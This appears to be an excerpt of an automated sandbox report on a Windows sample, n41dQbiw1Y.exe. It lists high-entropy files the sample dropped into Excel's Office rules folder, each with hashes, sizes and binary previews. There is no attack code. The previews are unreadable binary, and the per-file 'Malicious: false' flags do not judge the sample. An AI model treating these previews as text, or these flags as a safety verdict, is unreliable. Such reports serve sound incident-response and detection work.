SHA-512:	FF408739E7043FC7C224C0B9EA1299492D2F90C8362D20E0259F027AB77E911D6D3897139D3DE80A835223FCCEC66C43F195A12C6921CFDA53213392461F5FB8
Malicious:	false
Preview:	<?xmlF...!x.) .....+.`\|%..-.w'.1.5..W.....A.,..\.D.OBr......a.P9h'...y..r..c..!+.S..I..s.C..NG.Ud).\|.".....o.2..cI1.....W.....B.Kgc.~..].jp;J....O;../.dH+[.%...........I.Yo...s..\3....I)6.w!x.}5...W.;..S..m.WqL.5.q..B_fa.l\|...M..O.BY..,...^.M.. ."K\.j..I..y..Z..x.....Qj.L.Dp..(.....i....r.I4{b.7$.?l....)..`AZ...[....3}.)..........6..3.l...%.q7..-.!.&G....).."..S..!..e........}...Ve7.w.......n...RT.%a.I.]..$...D.3..&...I..\...n.t..L\..9t......f.\|WS..:.J..Y.....g...)..oS.F.'#.V.Q..>....w3W.;.l.A_..n!2....=}. Z.A...=...#.6..\|&..a...yn......-..........~=...B8....6...v...-.e...,8ta....P.w.E...d.-.I.'..k.o....s......R....P..:..X.Q.Rv]....[8....3.C.t.n7;.B+......rD?.`.r.?n...u.\|..t..4(.1..C..?5....\|....b.....a;oQ...8jR.:g..xz..HL..N..Dw."...2...Z..;..%.#...65.%+.8#;.)O._........BU..m...$...H.vn..F.Nc.D..............H..<.zBJ.....!..:.^W.Q.).[.yx0.#.B..we.-. &....>I$. ...m..._..n].=.H..[.\|....P.[C.\.ZJ,....E.. ..^.U.+.... ...S.a.....~..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63056v9.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3203
Entropy (8bit):	7.934647001421803
Encrypted:	false
SSDEEP:	48:v4Am/QSKVoql4A0oJQTg7mtXFESOZQJ2dtn3YX43jZ1Y65bwtdlyU5hv+P86G5sS:QUmi4XIRiXFdJ2gkjR1wyU5c86G5VE96
MD5:	6B24B0A94C853BDB84CB1EC69944566D
SHA1:	0131E1672D3EC90CB7654D4E0B4272A7339781EC
SHA-256:	59022F743010C56E5FEBF052A66BEF0B0159C51EF0852C3968E6A11AE8C889CC
SHA-512:	5F48F9DF5B3F7955259F43F4ECFCAD84FA0430128CBE85961D74F7A0E8E4EA28735AD777B905C845F7B6F6B73A767261F34E1CE06B8B8226C5719B1A3F63E463
Malicious:	false
Preview:	<?xmlU'G`..U@3]>.V.{.7..[......P......E...Q._..........}...R...8.K.Y..p..r....T.$e..X..,V.:...I.."M..C..<..,...;.W.u.,.\k8}oLE.?..u...5...z.'.7JD .).C....D..... .,v.cp..t...>l..g.'7.3......\|...S..g.v....V`S.}....>.``.`...m.].lhf.[....[......G.@.DThv!ug.8..0y..fj(6.~#S.........?\|....!]..pRr..f...m.1.k..=.7......"8....o#.....T.....U...6#..p.p.e.^._v...........k.........j.".l...S\|.:..V.[.c@%......@b^DL...)I.....'...6..vq..9t.<.,..g...^.3...:c(O.?..d.Wel.Q..R.........RuB....8c......Qc..=c....S.(.......h...=.....\|..j...C(I....F.=I.?97.......<.K<..@..!w.ka.b1(.q.Dr6...}.....2Bf.2j...J...BW[(.=.2..$1..b.!.&.%1..\.W....1`.y.x.H{..~o.'.Eec.%..H......T.....w1.$O.y.................f.5.d.G.7.Q..]QY{v.@.....t......5....a....qK..#..hVF..5\,...Kk..j.o..8&"fhn.4.dlQT..Z5..M.......Zz]^@.]h...\qZ.QHHc...$..f.c.s.V.uG.P....M.W.4..E.4T..8.].%........G.T..ui.N.3....q..iLm...`V.Jsv..(dT....~.........._.$.5.*W..A.udq.m.Q.XP.......$.%.(.=^V..a:<.!.>.P. .,..T...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63057v3.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2512
Entropy (8bit):	7.929742664331648
Encrypted:	false
SSDEEP:	48:6oPlUcCp4d0foHu4+FgbbSiBVk1o0AQMIsXQ5zT32JkD:6o6peu4lPBKxsamJw
MD5:	B7276F2F9131F1BDCC605F2E8A38CDBF
SHA1:	2B73659402B80C369BA57A94787DF653FB552A3A
SHA-256:	BCDF9B092A72B4A64126ECEFD7BB54148326A8DA204554C9F7726F6D69FA7BB0
SHA-512:	702FE3A866EFF997467F2C3A5D04B540A1980A2D336DBDAA3ECF75ADFF51A7FF6308ECE3CA2AFD570A18CF102ED70A250BCE55DE689AFA092573802C35447FF7
Malicious:	false
Preview:	<?xmlw[.?.^.7./i./{$T.....B@E.'.....W...xe.>..W.t.?K.....;..fz..Qqn..<..B.._.F:i.-.....v.<.Pm.fUuh3.; bzQ\.g.ZvW..~.Z..."..E.^>..[.z..- D^.....^YM..'NK..0...:`....{....M8K....H..w.. .;...Je-rj..&7....Z....g..z...r..+i4N..2=.@y..D..."..Q...1R.n.dN/DY...fd....P..Z....]...`.L.N.../2..{.M...@.Z....Z#.T.......0.D..;?.t.E#..[j..b.V...+.R. .....C.y.k..#V.#Q....A..<...p.)KS..n!...\.\...\I.......r.S.q5....a..?j.cm.yA..vQ...tb.4.....c..GX..Zm.DR..LAq.\|...3..<\....E..h.:r...,._.4..7..T._.S`,1...D..@.&.m1..9.Y.......CF.8.1.AW.#...7SF.....?..+....Es.RW.0....L....Y[.R........^=....mG..o...$..$.S0......y..6..S..E...(=C......^\q..z.'TN..6...b..L..#..``...WD...r..h.r.... fH_..\|..:..}.%.L..d. ..../P{t..&9O.bz....k.;..u.....].#...l.\v<gnw..`6p..eh...SUw...........U..Ak...o......P.d..o....B.O..#........%.l.K../RV..3>...].......m..yY..LT...a.6.4P"..m.....4...4..>.....p...8...o.+9O....:`==.r...d.......Z@.....I...h...kDn.U.?.....t..O..3..P..6..n.....J..&.6...3.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63058v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1247
Entropy (8bit):	7.84510785080402
Encrypted:	false
SSDEEP:	24:lNX3/v1iM5IUndH2fiS3WO5IdxP8IT/pIl3sN2p7CK+QQAdibD:XX31f6UndHYTbIdxPRil8N21CexwD
MD5:	13B57D9DF258178B1DFD6C0341C48C6A
SHA1:	3C83B408D65D3F3A77B8E78BBA21C5F9BB7DD3EC
SHA-256:	8B4C1EB5F04AECA692C5D615ADA46BDD2FF16FBA779EDBE5ECA114C5BA455B1C
SHA-512:	F7DFDA2EF9FE52D813283ABC0F28E7FE1684864C3E26DA5F825992D64FCE6CC0E1172542012B43BCFA0E69D223B62D6387252C13829933BC7207951DA29F4143
Malicious:	false
Preview:	<?xml.......O...O.R..w9.....^...A..mP...G..nu...7p..#.o9f,?.v.q.=..s....O.e.}...ox.x#.8?I..o....j..F+.\x...P.8.....#......-...@.....h.i..A....u."o.y.n....E.6......a..P.....7O..L....fL..6.+..h..u.,..+.>.......d..J%...t...O. ..Y......LL.;.O....u9..'.k.~..p.#).1.<b./.{..t.........O#.Eh...}(........F...v..V..., ..V.(,.\|......9......I[..P..E.S3.Je..........O..q.(.......F.W..S..#.$.5.U...W..D.....i.Ob.....t._.Q.....jry.+..&.6..z...<..+......$.c.].:.Y......oM.........!...G.T.....7.8.Dz7........#G....9.@.D......Y...?#.`...>89..-"..8I.L5v...H.d..OT..5U..w3.)....I6.p.Y......................>#3`.....v...c...c"r;....@-M`Qn./.-.:.^.c r...hr..MJ.. ..0?.........J...:.(o.....1)...5.9...c.psTC..._.r..k..g..7.>^..?....I...IX.............aZ.0.;.8z....l.<..Py...x...gQH.-.#.`X.p..F......6.s..H..J4..~@....S....4......]i.e.........xRU...q........~ 5.l:...:.....*.r......rZ/.....x....B.~.n.l.P...=..N0..P.....M........r.i....7..@.\|_e..jo...\|..{

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63059v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	950
Entropy (8bit):	7.781795846260602
Encrypted:	false
SSDEEP:	24:Q32gvVYspxASFJ0jrXnkn0p8TxjYUi9+QDH5BbD:DgNTpxASwr3kS81jYUi9+QDZRD
MD5:	D000BDFC7174CB2F2F389122E5A8FA3B
SHA1:	B29B3E306A548A23D1853E33417024CA7A83F67E
SHA-256:	71F3ED8747B1B32E5790CB8BFCAB9DE9F0632B01BE04844F36A07A88624E779A
SHA-512:	F3913B0C5FF73F4521D5552763636D25164AE0A1DC93CED9709DB07E5DB6F08BE7901E5055951BE495BFD1811E2295126413B651B55B14B28420769A9ADF5C76
Malicious:	false
Preview:	<?xml.m._.....^...n..}.5nx.9.O{......)BH:...v.g3.['<2...A.;...{..z.(..a...B...],...{.y.u.I....P...P....y..F..8d......+."V.....GX..w....a..$..s ?.].....$.j."}....XB..3...D....YFP%..B.....d+%...a...i./...m...1`.].aRy...w..[..c.u....[6,..8..d./.D.)V....Z..r?.s...Z..W^-....]....x..~'....S...$T.G../..J.3.dJ.oi..1T.<.6w88...).............m.q..g.+5.$N.eT...=..nw...G<....l....)s.....4.=..Y.R:=..3S.....2..H1i.._....3S.oPD!..yQ.E..1..o.0.....O.;..0....*P.(UuR..........[...~@..3S~_ .f.m.P..er(&r.:..Ha.Q..pZ.t.b.m(.Y.l..1.../3.......$...\.6...........3.=5...3E......F..g........}.W.1.w..:<doc[..v......5.1.".?...=...u..>l.k.....t=....T.[.I.3..S..fT.i$.m.....E.\...\n..P...$<..\|..g..WuR.7>i.i3..6t...y....:.....\|.....D.n,:![.....X..3.%..T.[..'.>}}wlQ~..^w.."=CL......{..s...G .....F.G....NX.E...5K.\|..9h.G0U.?.9.K.S.....d.z......%Fk...GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63063v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1125
Entropy (8bit):	7.815765659043311
Encrypted:	false
SSDEEP:	24:pcEk7Mydab9d3KcVdqTfEqpvqsiCTEq9ClQ8XSKb/HbD:pcNAKabHaIdyflpCfCTEq9nno/7D
MD5:	335CA99FDF35040AEAB5D29DEFF97CE7
SHA1:	53DDE09FA7C6D0A48DB336E75F7E27DF067D8FE4
SHA-256:	16CBA471F690B50B0B582188A2D747863B843863EBF9139581D3E0262C629184
SHA-512:	B9ED22ABCBAD448E9B9FF19D05BA08C3CAEE0C8D26299C24580DE9B791E129C0D3A0B2E3426B991E58015A584050C483A85A5DE9DA664665D8B05AF213CD7144
Malicious:	false
Preview:	<?xml....o...H&.....5.....'..%e....r+Q5....MR...d.W.f.#A....0.0M+........k7#.Y7....:....<......;...........W.r.O.U..W40..cb_.....Y^o.eF:.z..M..S0...=..^T.<."Y.......R..6.T...W.h.g.,.l...Q.....\...b.R..\...M`./.._.`.t.XQ......_i.@=%\h.+C....%.&.....O..J.B...U.Yu.8 .c...!.&L...;e.e....^;.............a.r.W4!...B...FQ.}...?..b.t['Uw..l...a.....y}v..";.8.qT.=..#k...t.XvVP&=.]..~^....{...EA<........I..R..Z.B..OA4..s. .y.,....)6.<.6.@Ezr.7i5.A4..Y..S".\.x.-.....N`m.....kIq...=.........U..}...pk....A.N./.e..F...y......CP...6...k..v./.d.....i.P..q83i...+.G.jO.cg.H....g...$...9qYh.G<.Q,c.y......S0.&.>...D..:.T....K.H....7.K..4o.:...L.....O.(4`..a.....A..d....Q.x.._.Y.CQ.qW.k.....{...!...N.ls.E.6.....9....#?...x..#eU3.Id!.r....7.Y0.$...../.......).Y(.L.l.el.Q&.....W6.[..;...w.q.Y.R.(J....1.XO.2..W...X...j.......,Ts%6......[.o/>..>4..)..a. ].[ .-..c7*!...5Xq.qQ...5.mI..k.j...5;u.'....m..-.....-.B...A....;=.y.`....c.....>..j.&..b...Q..d...4S}.9..N..P..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63066v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1121
Entropy (8bit):	7.816106193628024
Encrypted:	false
SSDEEP:	24:QCK58LXQaQNslcYLmYmsr94sCl/rbrNwvk2HmkWebD:QCKesNyt1+7rKkWVD
MD5:	76DAE0894B6C4BF50571EB1FC4C9AFA7
SHA1:	D94AA0CEC9E287BC1658DB78BFC6C4FB05B613CA
SHA-256:	12D65FBE120ABE40A7145DDB8B5E1EFC3C1135806AE5366100DCE61984514D25
SHA-512:	30762907ECB22807647C2AA68AB40E469B3D9A6BE1FF34B3C47787ACEBB97E16E84B5AA87AD778C34A2DFE47A8C8E1606B21F7EF98BE591E4DAE8F2C83BCC05C
Malicious:	false
Preview:	<?xmlm...[!\|.M).`.N.ab.....\.#....!Z.........l.h.;..%.G.f.E..O._.-.b_....k..:4...)i_A...\.3..Y..v.h7...\.8.F..1%/s..[1.v...Z,.-M..D...."..M.4.:.#..a....Bv.....2..i.AV...c.R/..&.../.O+M.....&NS..c..lJ....lM....+.~...D!.S..bL.T.z..I;...U.EG.cN........W.........~\...R,.n\|H ..^Y1>.r...{.t.y...`o...Sq.ZJ.d..#..[^-.KPN-...B.......`....t`.......z\|H..p.~x,"..\.)m..^..&[2.... #p_....n..l.)..Ez.`H..S.q.H7.w.#..f.k...q......-Z.....J...V..h.D\|.yU.!...^.l\|...q[...,.....b\|+R.r:\.......j.7.x..N........&.7.4.].7i.....'.m...........}.0...W..fjpi\./..Rl.<6#..K.v...l.x.4.......-.=%#.t.+..P......K.Q..Y..5.kp-..1=.h..0...t.hY.JU......9...j.......J..~.d.2....&.......^.9q.........j3...\|...z..<.G..........=....F..%r..{...J...N..I0..{.....55.....*....#..Lh..."2,...... @..(..C....!...CY".hu.=........i.7./6X.'G%{....t..Ew..<.PU+g....e>...f.U;. ....<..0...6..j......U.Pd._s..TM..3.k...8.WB..3.>5p.t..RD.UB.UD3...lB..U:.3._....P..p..<..U.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63067v3.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3109
Entropy (8bit):	7.9369883489785575
Encrypted:	false
SSDEEP:	96:kB0Wq8rqvCFYtwT/r7aI5bh9YX/WUfn+dyURemux5s:kB0wqwT/r7aICuSzWem2q
MD5:	F80795CD270E79F7E04C254DE6B4C4B6
SHA1:	1508301A2C915EE93F38AACE51D43527329C16AC
SHA-256:	91CDEA531F8DE3B10D012103077D19A0835E5C864585CCC42E28C7910D610FEA
SHA-512:	DC6AA229F69ED1896A51B891605BDF095BEE2931C68381F0B55408364321FAD133A09050534C6117CED4E49E0FC8D1D4D68F4EF21FA36C9F3106CC8FC296DED2
Malicious:	false
Preview:	<?xmlh...h....&_..[NX....D.y...5+....h..m.,..}..1..t9.S.'Ih..`.{..w.r7y..U,U.E.E#6yar.P.WW.H...(...6D..../CrQI5..g7A...T..]R...9....U...).h.YdB...>...{..:C..Df...O{A.ql.N.....Dc..T.....AL...[J.h.l!.@d.!.....p.I/.0...E..../..n.y?$f.+[%..l.2],..\....MM-3.N.............1....>u..Q.~...D..F.iGn..._A.k.I:.y.v4q4...b...zH'3.8e...Eq....Xo..u<Vv..?wF..5q....DZZn..\...T...(...........j.....\|.;....H0..PA: J...!. ...8O.~...2.KdHF%}.eU......4.R:..../@.M~.Q\|....OT..._r5.B.F......5....O.. .8m~..i.]..9.......0...R#bh...?._.iZZ.i......6..+.;...%.F&....{.m.n{....m.'yv..uxn.j'w..W.......w@....Z..4.r.R?!..L8....7.3........H....5...i..g0..dW.QF..ZC.pV.0yt.;h...O,.-h./.i3......rC..[..r.F..`..........F.9.J.p.gD..p...K..[jl.=r........`...N..4.e..t.yw`<.Tfm...9.../.%.......B....9.Qd....5Vq.\|8qk&...W...kx..e... ..{)...",.\..2.]..\P(..)..7F..e./R...Z...,.%........vN.....?..=.v_7#.K...%B.......{....]..3.].D.j.....n..b=z...Om..........P...e.)C....EXq3..]..........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63069v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2126
Entropy (8bit):	7.914794934150776
Encrypted:	false
SSDEEP:	48:5bPYdQq0/WA0bnUDRMYm/cc04KmAjnYAr09MRmzDj4gfmEmBYkcTuz/bQcwuTdvB:5bASqWd0MRxm/ccAYaIMEF1CPcC7bbxp
MD5:	DF1C6A80597B3C2300F126C76478D56F
SHA1:	651E3125535E712C56DC7862310CFD1BD7C205A4
SHA-256:	FF566E7FFFFE9CC0B816D336A4D3B3F6EF3EB4FDFC8ABED74E66344D66CA3429
SHA-512:	600427E78B9808F751CCD0EC64C022A00BB59A2E91A3BA7164F277986ECDEE928C5BE1C9977D1C50012CDD17D42031AF3A75495D0E7E9D1B9F8D3429E1B170C9
Malicious:	false
Preview:	<?xml..]8...!.X.[......../T........72..5........rkh.gG^..i....c.x@...j...JV....y?......sBRq.lWZ.^.......}.;1.....>.....A....s..fhg.B.N...5.d#.ieq..8 .....8.)..#....b>...&b=M.S....t0.....&g.....,...%,...j.dP..GX~..]..?...FQ.._.-..E3F...,..x.T?..gv.9.A.G{..,......Q.Q3......c...y.-.4..?V....-.....0....._~'Zj...u..)...{.UKv+..&...t..5......B f(.g..M..J..up........)6Y...P..t.oW,..JR.d.J..NQd..;...N..bL..C.@s.0.(.........%........rH#.X..80_M..(j%.....D....T..L.A.........A...^..&.....LFL.VT.A.#.!..h.[......%s.....I...\.x..<....l....=...0w.iU.n..lT~n..e..es.V....p...A....#.'-....L...i.fD.F../........8...t.!...f.....9.,%..LH.....x...B.1+...8..n..z.X.T..,G...+=.u.."I.-..w..9.=.S.\..b]S..r9....8..s6._"!Y.g.A..ua...[.`.y\..$...e....S3.G.........]a.....$..."`O...e.V...%........H.Z...V..4=..[.bM.r.'....RTaBu.tS\3.....E..F. ...5.hgr.>...9..-T.G{.\|......>...G..0.R..BU.k.{....0.s<..V.I...#.I.X....D..&.`.[AK..F.....{.d.\.B.....'

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63070v5.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1387
Entropy (8bit):	7.879174070898699
Encrypted:	false
SSDEEP:	24:WfGRSEZK6t2Ha0Mflr0XToUndRzQGPTC+pgwCe/KXYZHJE2b+xWBzuHJBhG97+/U:m6cHK9r0ZlQ4CWXCeiYZ+8hzvYAD
MD5:	51086B3435F584CEA78619D81E0AA163
SHA1:	670A93C7A4F52C9859D30D45FDA37265C4D6E3E1
SHA-256:	03CBA74980AB0DFE82411FF9919ACB49CBA122F1E5EB61C8E8D9D2A56E5B2905
SHA-512:	774085A781296881D7CDD23BF7E4052EC58C79E19F1A092492F92918ACF77637B8F64C9E329D2C49CA269E3644CF0782AB46F3632631550F87E5E1D1DF76DF38
Malicious:	false
Preview:	<?xml..#e +...)...$.Q....6t..g':...tC..V.-..U..\|n.........~.4'.n.Xs.......:.6.G.&....."...t.VC.Q.#..-.%.n..g>4`.....Z(..y...&...Gi.SBK}mg8ud.o:\.}..EH.'.0~AG...i..3.;..'.....\..)..<..?KR...Iy.W...P.+.:.n..~..@..f..J.Cw. .lVE...7..wy...^...bs.gArJ=9%.M[....c......eV....F......"...W.......o..^8,m.mI4:.^d.#....K....7c ...j[.D...%..=1p..G.v3."0.s....I!.0.. ,.R.>BGk...zb...e...k..^#5./.....r..O..`.q"...f.\.h..X6......v:............v.\6......p.P..r.....}.....,.z.IP.'.+..72@..d[t..]......;......k.?9bfZ'....8...V.='.Ay.t...j.._Fk........j.....j.2......S.._3.P....F...R.T.u.7.+.[.Pn...."x.8n0Sb$.,....c.'.=.Yg:..'. ...c.}..Z]$...J.*h.a.......\|...~.....(...S.,\F.'B.U).;..r..PI..[.X&6..s.3.h..:..p..n......_..87B..F5k."xh..N.....Mo%t+..........kO,.m.$~.<..I. ...r..~.qK..Z>^Y..zw..@p....Pa.)..)t..u..O...M....sc..7...>^....MW..STdWX..:.t4:..X..C..}...~o0....Zru.......,k+}#a..!2g~.!A........m-].V.....D\|........+..l.%..kK..........m...z..V&l.1M...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63071v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	754
Entropy (8bit):	7.71692418117902
Encrypted:	false
SSDEEP:	12:opgiL9PEWO6KWbi5ygPlJ3qGyVpjuOJNrIjMF/+YRDM831HJSGGJyEuRYIgQoEMr:oOW9PE8KSgPlJaGGBpNUjMd+YBMc1pS/
MD5:	919C88375E7F4BE6FF55AE88B8D1BD8A
SHA1:	A73EDEA1691C37F68BEC6F5F61A46D59FE29A97A
SHA-256:	400A6F4F97DC39925B2D6CFB712944B8F195AF36A812EC5F3ED8EDA7A05653C1
SHA-512:	5C819C9D8351380104652E3B846551BA865D9A09A48BBE8AA4F844402A61AE20E45E40F21DABE181E25ED77823E6178999D7A601A308B20FAF681A8F54A50386
Malicious:	false
Preview:	<?xml..`#.K)3.h..xN%..}!...........dJ....q_)G...T.-'+.<..%0..\1......5>/\|cn.t...1~.....c.....\......\d5..8..0.+....]4u.A..n.i'i....$......l.+B.........[:.I..v.B!(6a.(.4..6.G.xK..;.Q..-..f/\..?.m.Z.li@..5....Y...f...VS.U. ......\|...........$s.X...Z..cZ..22;.Su.{...(..p=...Q.l/..5.G5...Rndm...y.C.p)%..t......."T.'wxs)l..............c.b.)e{;D.xz.9J.pp...3....h..}).u...)9G......gp...FH.9.:a...y....n5.1.`ToBK.#...0..N....'.+.#.E.^oW:.#...s.....(.U....\|e.3.L0.;..?D.M."...........[...N\|..(..8....5.n.1.#..U...Lf)..h,..(.S.\O.9aV.fS...\w...C....h.qO.-O.. n...fZ...zc,.V..!......7.YD....F?..H@..\.V.R%ON.L[0.w.K..s.....J.h.T.M.]f7.wF.:GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63077v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1399
Entropy (8bit):	7.859498560178121
Encrypted:	false
SSDEEP:	24:haUfcwWHi8ea7BH33o7PtaQJYcAd3JdmVPedxkU7nx4a7aibD:jcwWj9no7MQONdnxkU5+wD
MD5:	AE05E3CC0E0BB16D07317CA20DCAA116
SHA1:	59C63F6627D46DB00D28CB22BD24357A3059CC9D
SHA-256:	11A31EA89F0740333B84CCB198BE8E414F4F15930736AA73128DFE2087893E82
SHA-512:	8B5EE5A4CF59A76B9F2390EC37DAA42A02539A7A070082B8DB6C703AE2BF63FAB3662046C6F97FD2F2333B769FBC092266DD02DE63A68C6D4C52360E71153A6C
Malicious:	false
Preview:	<?xml..j......j...HgAcV......h.t......Q......\|..qgV.g..)?{[...........A........W..}...'7."....\L.K..h ....CX.U...(.....Ci7M.J..A.=a.[.v...+Y.......:...5..i.13?.5.i..S....... .o.9.#.O.a...../.1. ..MB.P....K..=....D..3~=5. ..S..4;...B.=..-......n....{.....T.<.....#T..??YQR8..........M....?2..?.?...'.....u...R..:.w..y.I)....X2.R.Y8...O.Lu6y.2;......=.3M......Y.....X..jH..R.>...y=.p....!.,.5..u....2.#dZ.....M.._.........V.>..o...E....<.>5.....CE......$.)sU...-k.!......,.yQ}..l{.DD+..@h]r...........mX..\|.!.....i.w^..a.......F...s..4.Z...esL..tm.1&.Jx.}!.yc"?.7$..]0.....OT.U..%1Z...4.g...@..`WX.}Z.~.'._[..3.%&......T..p.0c.;e...Ys........?.P.~.j.....s.2.)....u..p.g...d......a.Tfg#0.?`(..{3SZ..Y,..M.x.-......}.+y.w..yA.2C&...._....).~tc......5..........._X...g.%..C..d<c..)9.R.>@.g.~.........5...P.W"1\|.:A....+..z.;SR.8M....2..&..c].h..@.......P=)M.BC.4V.\.!....0..j..a....:1\|...].+.$.nem#^f^z....Dv.c.P. 3.xQ4y7...I.....&....C..,..h

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63078v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	708
Entropy (8bit):	7.647596015747715
Encrypted:	false
SSDEEP:	12:IShb1JN3R7Ao4+dMCVX3FgLmb9E4SRNKA/iLOxOjgkKNciy1zIQ0pA4vkYcii9a:IwNB7F4+tQSby4S3j/0jgDSzIQ0GqxbD
MD5:	722514E4766EC2127EE068D35AF129F5
SHA1:	B71E7D63B9E5E746757664B16E431C602A83F4B0
SHA-256:	A58C41D3F51E94DE214062E89D4D849E606550266A84E54D9C10A8D862A166B3
SHA-512:	2D0DB431FA722D585579C9A3BE123A2A7BE483334BA1064DCBA75E2776F9BADF547BF2B9579AE8144CC15C7777737621F513B1E6F6353770DC12C18704752D0F
Malicious:	false
Preview:	<?xml.....CP...b.f...\T.C!b}+...x...{_..'.s.9O....zT.\|.?...j`I ...B>6....,.......... (^.".....x...W....o....'..$..M&}.q.9.`.....^....)..BqD...1..........Pg/3....;.,.9.&BA.}q.]u.QS..ub<..^...0.J.eJ..%o5.m4.<...k0..M..}i{..Q..LZ.....9.w){'.b.I..N{{.b.-o.h..z.....8'.t....s..$P[s.pE$ju}.....%t\.3D.9}?X.z.....)oRT7..o.^.R..W...z.g....&Yd1....6M...._.. .Gym..u.(k$k>.H........PL.....)l;Um.wv..4D.I...n.b.......P.2ec).K8...?Fk....U>.[..Rv."CE.$..+.}0.@...N..A..xfx,.h."*.p...e...q..p.0...nt`.e....D..&.....?...s...z.!......YM6...M{.....\....,h..NA..B..z..-XcW-...~T..K.Kae7....P...........S..T.;..D...h.N...GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65136v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1132
Entropy (8bit):	7.801816453137764
Encrypted:	false
SSDEEP:	24:qDc/KdMDRgUXNsilm9eN+yZ7YuEM69xNG/tBnJ7D4oRbD:qDhigaOLBVxMBn94oBD
MD5:	5732E991306419997F7F54CAD83B6F5E
SHA1:	B48046A2E0B5D857654668A962B79B16CDC6892E
SHA-256:	E54F60714C990F28F3A9FE3F331FD0DAC0AA0E4F0B28B8584ACE7AC9073F5159
SHA-512:	676B77090CEECF0E58C5781E332660FE1F79BA4BC93D52EA2705F6CA8BF4F222BE723703925AF695B8D933DA3EDBA3CF60A07CCDFB1269455F6E0FCF4F22090A
Malicious:	false
Preview:	<?xml..~U.]r..?....d/U..s....G....].E.&B...).tJ....Q(.0W$1.../.......#.XH.....L..=c......Z.+._]D\|{k+:.E.>..l...."WU.....\|.:?.?.....Q.p.+....9....p...%}..D[..&.S...\Im).....+.~y..Z....n....5...8f..j=..2..".SK.X.Fy.Z'j..L...L....l..^...I.?.....-.i.v.....~....-.....0...A.F=.$.sB...2I{...K..8T0]^.W.z.y.............)........w.D.H`.VV..`B....t.n.....8^....ES_g!.a._.....}...!1..A.s.......t.y_...<#1T$.^.krU[....R...kb.g.N..&T....Cq3.[l... .i.:A..O..r...1@"....9..e...:;.......[z.~.>GwO..rd.....`.gh..+Uo.+....)...+#wq.<.S.,]..,..p..d.:..o.D....OjY3n.2-..B..8.h2y..$\5.SJ.[..DUa..<.....4..."....bLp...A.a.Q....&x.".K._.9.5..W.<3.=Cug@...o.Cs?._..ja.1.....B......E.m.......:-..REhW...1.>`..T.....<.......'.{YGI0.HLof....8$&.......{..$..wI.^..[#/e.......p-..k.ts..Ec.R.....bt.zfR.C...;..Wv... ..6Af....b..<>..zK.S..)R&W~l.....$.2.....D.9i9.q[Ao....7F..K......"..:.eOa3..d..l.B"......^.+...4.Z....D..S..L.C8..$.,!..B_.....e.U.....f.9..E.=[^o.*fp8....i...@Z.j..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65137v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.691194936119288
Encrypted:	false
SSDEEP:	12:8jBoYSCvFBSX5b3jxJwJd5MT9RqT3jUwIWhq4fFvk+J+nYtOHYcii9a:yoYZ7QZJwJwT9RgAwTk+FtO4bD
MD5:	B149984CA62CB420EC2AD07E38901857
SHA1:	26C50B64E463313504C0C715BD8AF1D1AA9361BB
SHA-256:	1E700D20D007DDD6FC55F3D3A7EEAD250B7DCCEE74574790BC1F2BB7399C9CC6
SHA-512:	1DEFE8DF188A1685360A06E6F106407B5228D12088C907FC4DDB41A59201D2E55CF005242EB618BFB6C13070FB5D5CF8969AC20C34BB987E188880F3F550DA78
Malicious:	false
